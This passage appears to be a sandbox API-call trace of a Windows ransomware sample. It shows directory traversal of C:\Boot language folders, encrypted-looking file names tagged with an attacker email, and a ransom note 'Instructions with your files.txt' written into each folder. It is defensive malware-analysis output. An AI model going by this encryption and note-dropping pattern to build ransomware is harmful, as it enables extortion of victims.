[0111.655] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD.LOG2_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 62
[0111.655] StrStrIW (lpFirst="BCD.LOG2_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0111.655] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x7cd1b320, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x10100, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="BOOTST~1.COM")) returned 1
[0111.655] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BOOTSTAT.DAT_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 66
[0111.655] StrStrIW (lpFirst="BOOTSTAT.DAT_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0111.655] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cd1b320, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cd1b320, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
[0111.655] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ") returned 17
[0111.655] GetProcessHeap () returned 0x810000
[0111.655] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0111.656] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\*") returned 19
[0111.656] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cd1b320, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cd1b320, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0111.661] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\.") returned 19
[0111.661] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cd1b320, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cd1b320, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.661] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\..") returned 20
[0111.661] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0111.661] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 33
[0111.661] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0111.661] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd1b320, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cd1b320, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cd41480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0111.661] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\Instructions with your files.txt") returned 50
[0111.661] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0111.661] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd1b320, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cd1b320, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cd41480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0111.661] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\Instructions with your files.txt") returned 50
[0111.661] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\Instructions with your files.txt" (normalized: "c:\\boot\\cs-cz\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0111.664] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0111.665] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0111.665] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0111.665] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0111.665] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0111.665] CloseHandle (hObject=0x108) returned 1
[0111.665] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0111.665] GetProcessHeap () returned 0x810000
[0111.665] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0111.665] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cd41480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cd41480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
[0111.665] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK") returned 17
[0111.665] GetProcessHeap () returned 0x810000
[0111.665] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0111.665] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\*") returned 19
[0111.665] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cd41480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cd41480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0111.666] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\.") returned 19
[0111.666] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cd41480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cd41480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.666] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\..") returned 20
[0111.666] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0111.666] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 33
[0111.666] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0111.666] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd41480, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cd41480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cd41480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0111.666] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\Instructions with your files.txt") returned 50
[0111.666] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0111.666] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd41480, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cd41480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cd41480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0111.666] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\Instructions with your files.txt") returned 50
[0111.666] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\Instructions with your files.txt" (normalized: "c:\\boot\\da-dk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0111.672] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0111.725] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0111.725] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0111.725] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0111.725] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0111.725] CloseHandle (hObject=0x108) returned 1
[0111.725] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0111.726] GetProcessHeap () returned 0x810000
[0111.726] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0111.726] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cd41480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cd41480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
[0111.726] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE") returned 17
[0111.726] GetProcessHeap () returned 0x810000
[0111.726] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0111.726] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\*") returned 19
[0111.726] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cd41480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cd41480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0111.728] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\.") returned 19
[0111.728] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cd41480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cd41480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.728] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\..") returned 20
[0111.728] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0111.728] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 33
[0111.728] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0111.728] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd41480, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cd41480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cd41480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0111.728] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\Instructions with your files.txt") returned 50
[0111.728] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0111.728] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd41480, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cd41480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cd41480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0111.728] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\Instructions with your files.txt") returned 50
[0111.728] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\Instructions with your files.txt" (normalized: "c:\\boot\\de-de\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0111.728] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0111.729] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0111.729] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0111.729] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0111.729] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0111.730] CloseHandle (hObject=0x108) returned 1
[0111.730] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0111.730] GetProcessHeap () returned 0x810000
[0111.730] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0111.730] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cd41480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cd41480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
[0111.730] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR") returned 17
[0111.730] GetProcessHeap () returned 0x810000
[0111.730] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0111.730] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\*") returned 19
[0111.730] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cd41480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cd41480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0111.730] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\.") returned 19
[0111.730] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cd41480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cd41480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.730] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\..") returned 20
[0111.730] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0111.730] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 33
[0111.730] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0111.730] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd41480, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cd41480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cd41480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0111.730] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\Instructions with your files.txt") returned 50
[0111.730] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0111.730] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd41480, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cd41480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cd41480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
